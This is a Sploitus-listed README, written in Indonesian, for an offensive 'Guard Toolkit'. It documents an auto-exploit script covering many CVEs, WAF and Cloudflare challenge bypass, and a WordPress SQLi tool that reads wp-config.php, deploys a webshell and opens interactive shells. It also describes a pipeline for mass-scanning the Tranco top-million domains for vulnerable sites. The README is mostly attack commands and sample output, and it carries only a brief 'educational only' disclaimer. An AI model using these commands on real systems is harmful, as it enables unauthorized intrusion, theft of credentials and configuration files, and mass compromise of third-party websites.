Sploitus

Exploit for guardx

githubexploit Β· 2026-08-03

Exploit Code

README311 lines
## https://sploitus.com/exploit?id=721DB469-CEE4-5886-B0CA-2DDC1708D16F
# πŸ›‘οΈ Guard Toolkit β€” Full Tutorial

Security toolkit: **Secret Scanner** + **Web Vulnerability Scanner** + **Auto-Exploit** + **Mass Dorking Scanner**.

> ⚠️ **EDUCATIONAL ONLY** β€” Pakai hanya di target yang kamu punya izin. Tools ini untuk security awareness & testing. Setiap celah yang terdeteksi adalah kesempatan belajar, bukan senjata.

---

## πŸ“¦ Isi Zip & Struktur File

```
guard/
β”œβ”€β”€ requirements.txt        # Dependency (pip install -r)
β”œβ”€β”€ README.md               # Tutorial ini
β”‚
β”œβ”€β”€ πŸ›‘οΈ VULN SCANNER
β”œβ”€β”€ guardv2.py              # CLI entry point (secret scan + vuln scan)
β”œβ”€β”€ guardvuln.py            # Vulnerability detection engine (29+ checks)
β”œβ”€β”€ guardtemplate.py        # Nuclei-style YAML template engine
β”œβ”€β”€ guarddiscover.py        # Subdomain discovery
β”‚
β”œβ”€β”€ πŸ’₯ EXPLOIT ENGINE
β”œβ”€β”€ guardx.py               # Auto-exploit (29 exploits, WAF-solving built-in)
β”œβ”€β”€ guardwaf.py             # WAF recon & bypass toolkit
β”œβ”€β”€ guardchallenger.py      # CF/WAF challenge solver (cloudscraper)
β”œβ”€β”€ guardmcp.py             # MCP endpoint exploiter
β”œβ”€β”€ exploit_mcp.py          # MCP exploit helper
β”œβ”€β”€ guardmitre.py           # MITRE ATT&CK TTP mapper
β”œβ”€β”€ guard-testlab.py        # Local vuln lab (LFI/CMD/SSTI/XXE)
β”‚
β”œβ”€β”€ πŸ” MASS DORKING SCANNER (Tranco)
β”œβ”€β”€ wp-dork.py              # Thread-pool dorking (homepage β†’ WP version)
β”œβ”€β”€ wp-async-scan.py        # Async scanner (aiohttp, 15x lebih cepat)
β”œβ”€β”€ wp-verify.py            # Batch verifier (wp2shell check per candidate)
β”œβ”€β”€ wp-helix3-scan.py       # CVE-2026-49049 Helix3 Joomla scanner
β”‚
β”œβ”€β”€ templates/              # YAML template (guardtemplate.py)
β”‚   β”œβ”€β”€ backup-files.yaml
β”‚   β”œβ”€β”€ cloud-meta.yaml
β”‚   β”œβ”€β”€ cors-wildcard.yaml
β”‚   β”œβ”€β”€ env-exposure.yaml
β”‚   β”œβ”€β”€ git-exposure.yaml
β”‚   β”œβ”€β”€ phpinfo.yaml
β”‚   β”œβ”€β”€ sqli-error.yaml
β”‚   └── ssti-jinja2.yaml
β”‚
└── third_party/
    β”œβ”€β”€ wp2shell/           # Icex0 WP SQLi PoC (CVE-2026-63030, CVE-2026-60137)
    β”‚   β”œβ”€β”€ __main__.py     # CLI: python -m wp2shell
    β”‚   β”œβ”€β”€ cli.py          # Argument parser
    β”‚   β”œβ”€β”€ client.py       # HTTP client (WAF cookie handoff support)
    β”‚   β”œβ”€β”€ sqli.py         # SQLi engine
    β”‚   β”œβ”€β”€ exploit.py      # Exploit logic
    β”‚   β”œβ”€β”€ shell.py        # Interactive shell
    β”‚   └── version.py      # Affected version ranges
    └── cve-2026-49049/     # Helix3 Joomla PoC scanner (shinthink)
        β”œβ”€β”€ cve_2026_49049.py  # Read-only scanner
        └── README.md
```

---

## πŸš€ Instalasi

```bash
# 1. Install Python 3.8+ (dianjurkan 3.10+)
# 2. Install dependencies
pip install -r requirements.txt

# 3. Test
python3 guardv2.py --help
python3 guardx.py --list
```

**Dependency per modul:**
| Modul | Perlu |
|-------|-------|
| guardv2 / guardvuln / guardx | requests, cloudscraper |
| wp-async-scan / wp-helix3-scan | aiohttp, aiodns |
| guardtemplate | PyYAML |

---

## πŸ” 1. Vulnerability Scan

```bash
# Basic scan (read-only HTTP requests, aman)
python3 guardv2.py target.com --scan-cve

# Paksa https://
python3 guardv2.py https://target.com --scan-cve

# Output JSON (buat parsing/automation)
python3 guardv2.py target.com --scan-cve --json > report.json

# Subdomain discovery dulu
python3 guarddiscover.py target.com
```

**Yang di-detect (29+ checks):**

| Severity | Vuln | Detil |
|----------|------|-------|
| πŸ”΄ Critical | PHPInfo | `phpinfo()`, `info.php`, `test.php` |
| πŸ”΄ Critical | Django DEBUG | `DEBUG=True` + traceback exposure |
| πŸ”΄ Critical | Spring Actuator | `/actuator`, `/actuator/health`, `/actuator/env` |
| πŸ”΄ Critical | Spring Heapdump | `/actuator/heapdump` β€” memory dump |
| πŸ”΄ Critical | Git Exposure | `.git/config`, `.git/HEAD` β€” repo leak |
| πŸ”΄ Critical | Environment Files | `.env`, `.env.local` β€” secrets leak |
| πŸ”΄ Critical | WordPress Config Backup | `wp-config.php~`, `.bak`, `.old` |
| πŸ”΄ Critical | WordPress Installer | `/wp-admin/install.php` |
| πŸ”΄ Critical | WordPress Debug Log | `/wp-content/debug.log` |
| πŸ”΄ Critical | Joomla Config Backup | `configuration.php~` / `.bak` |
| πŸ”΄ Critical | SQLi | Error-based SQL Injection |
| πŸ”΄ Critical | Reflected XSS | `` injection via params |
| πŸ”΄ Critical | PHPUnit RCE (CVE-2017-9841) | `eval-stdin.php` β€” RCE |
| πŸ”΄ Critical | Langflow RCE (CVE-2025-3248) | Unauth RCE via `exec()` β€” CVSS 9.3 |
| πŸ”΄ Critical | Wazuh API RCE (CVE-2025-24016) | Path traversal + deserialization β€” CVSS 9.0 |
| πŸ”΄ Critical | Ivanti Connect Secure (CVE-2025-22457) | Stack buffer overflow RCE β€” CISA KEV |
| πŸ”΄ Critical | Database Admin | phpMyAdmin / Adminer exposed |
| πŸ”΄ Critical | Database Dump | SQL dump file exposed |
| πŸ”΄ Critical | WP SQLi (CVE-2026-63030) | REST batch route confusion β†’ SQLi to RCE β€”  Clone shallow (`--depth 1`) kecuali `--include-history`. Rate limit GitHub API: 60 req/jam tanpa token.

---

## πŸ’₯ 3. Auto-Exploit (guardx.py)

```bash
# Exploit semua vuln terdeteksi (auto)
python3 guardx.py target.com

# Exploit spesifik
python3 guardx.py target.com --vuln langflow     # CVE-2025-3248
python3 guardx.py target.com --vuln phpunit      # CVE-2017-9841
python3 guardx.py target.com --vuln git           # .git download
python3 guardx.py target.com --vuln env           # .env download
python3 guardx.py target.com --vuln actuator      # Spring heapdump
python3 guardx.py target.com --vuln cors          # CORS PoC
python3 guardx.py target.com --vuln wazuh         # CVE-2025-24016
python3 guardx.py target.com --vuln ivanti        # CVE-2025-22457
python3 guardx.py target.com --vuln nextjs        # CVE-2025-29927

# WordPress SQLi (wp2shell)
python3 guardx.py target.com --vuln wp2shell                 # check (read-only)
python3 guardx.py target.com --vuln wp2shell --cmd id        # + deploy webshell & run cmd
python3 guardx.py target.com --vuln wp2shell --interactive   # interactive shell

# Custom command untuk RCE
python3 guardx.py target.com --vuln langflow --cmd "whoami"

# List semua exploits
python3 guardx.py --list
```

### πŸ›‘οΈ WAF-solving built-in

Semua exploit di `guardx.py` otomatis:
1. Pakai **cloudscraper** β†’ tembus Cloudflare challenge ("One moment, please...")
2. Deteksi **Imunify360** block ("Access denied by Imunify360 bot-protection")
3. **Cookie handoff** ke wp2shell β†’ warm-up via cloudscraper, inject cookie via env `WAF_COOKIE_JSON` + `WAF_UA` β†’ check/read/shell nggak kena challenge

---

## πŸ”¬ 4. WordPress wp2shell (CVE-2026-63030 + CVE-2026-60137)

### Check (non-destructive)
```bash
cd third_party/wp2shell
python3 -m wp2shell check https://target.com
```

Output:
```
[+] WordPress detected: 7.0.1
[+] Batch probe -> HTTP 207
[!] markers matched: rest_batch_not_allowed
[+] Verdict: patched (nested batch rejected)
```

**Signature penting:**
| Marker | Arti |
|--------|------|
| `parse_path_failed` | ⚠️ VULNERABLE β€” route confusion berhasil |
| `block_cannot_read` | ⚠️ VULNERABLE β€” bisa baca file |
| `rest_batch_not_allowed` | βœ… PATCHED β€” nested batch ditolak |

### Confirm SQLi
```bash
python3 -m wp2shell check https://target.com --confirm-sqli
# Timing delta  1.95s β†’ kemungkinan vulnerable (UNION injection)
```

### Read file
```bash
python3 -m wp2shell read https://target.com --preset fingerprint
python3 -m wp2shell read https://target.com --file wp-config.php
```

### Shell (hanya jika kamu punya izin!)
```bash
python3 -m wp2shell shell https://target.com --cmd id
python3 -m wp2shell shell https://target.com --interactive
```

**Affected versions:** WP 6.9.0–6.9.4, 7.0.0–7.0.1. Patched: ≀6.8.5, β‰₯7.0.2.

---

## 🌐 5. CVE-2026-49049 β€” Helix3 Joomla Scanner

Helix3 template framework (JoomShaper) β€” unauth AJAX handler via `com_ajax`:
**save** (write JSON + path traversal), **remove** (delete arbitrary files), **import** (overwrite template params). Affected: 1.0–3.1.0 (3.1.1+ patched). CVSS 7.5.

### Scan satu target
```bash
cd third_party/cve-2026-49049
python3 cve_2026_49049.py -t target.com
python3 cve_2026_49049.py -t target.com -v          # verbose
```

### Mass scan
```bash
python3 cve_2026_49049.py -f targets.txt -o results.txt
python3 cve_2026_49049.py -f targets.txt --json report.json -v
```

### Scan Tranco otomatis (wp-helix3-scan.py)
```bash
#    
python3 wp-helix3-scan.py 100000 0 ./helix3_result.csv 500
```

Output CSV: `domain,helix3_version,affected,ajax_status,flag`

> πŸ’‘ **Tips:** Helix3 sangat jarang di Tranco (2/900k). Lebih efisien pakai Zoomeye dork `app="Joomla" && "shaper_helix3"` lalu feed hasilnya ke `cve_2026_49049.py -f targets.txt`.

---

## πŸ“‘ 6. Mass Dorking Scanner (Tranco top-1M)

Pipeline: **download Tranco β†’ scan β†’ filter affected β†’ verifikasi β†’ confirm-sqli**

### Step 1: Download Tranco list
```bash
mkdir -p tranco && cd tranco
wget https://tranco-list.eu/top-1m.csv.zip
unzip top-1m.csv.zip
# Format: rank,domain
```

### Step 2: Scan cepat (thread-pool, 40-120 threads)
```bash
#   
python3 wp-dork.py 20000 ./dork_result.csv 120
```

### Step 3: Scan super cepat (async, 15x lebih cepat)
```bash
#    
python3 wp-async-scan.py 100000 0 ./async_result.csv 500
# ~5000 domain / 20 detik
```

### Step 4: Verifikasi kandidat affected
```bash
# Baca CSV β†’ jalankan wp2shell check per domain
python3 wp-verify.py ./affected.csv
```

> πŸ’‘ **Pelajaran dari lapangan:**
> - Version meta (`content="WordPress X.Y.Z"`) **tidak sinkron** dengan patch β†’ banyak false positive
> - Signature `rest_batch_not_allowed` = patched; `parse_path_failed`/`block_cannot_read` = vulnerable
> - CVE umur 2 minggu biasanya sudah ditutup luas (WP auto-update jalan)
> - Search engine dorking (Google/DDG/Bing) sering kena block dari server β†’ Tranco scan lebih reliable

---

## πŸ§ͺ 7. Local Test Lab (guard-testlab.py)

```bash
python3 guard-testlab.py
# Local vuln lab: LFI / CMD / SSTI / XXE β€” buat belajar & test exploit aman
```

---

## 🧠 Options Lengkap (guardv2.py)

```
positional arguments:
  target                Local path, GitHub repo URL, GitHub username URL, atau website

options:
  -h, --help            Show help
  --json                Emit JSON output
  --include-git         Run git-aware secret checks
  --include-history     Scan commit history too
  --exclude EXCLUDE     Extra folder names to exclude
  --max-repos MAX_REPOS Max public repos in username mode (default: 20)
  --scan-cve            Run vulnerability scan mode
```

---

## ⚠️ Ethical Notes

- **--scan-cve** hanya ngirim HTTP request β€” aman, read-only
- **guardx.py** bisa nge-eksekusi payload β€” **pakai hanya di target yang kamu punya izin**
- **wp2shell shell/read** = destructive β€” jangan di target pihak ketiga tanpa otorisasi tertulis
- Tools ini untuk **security awareness & testing**. Jangan dipakai untuk hacking tanpa izin.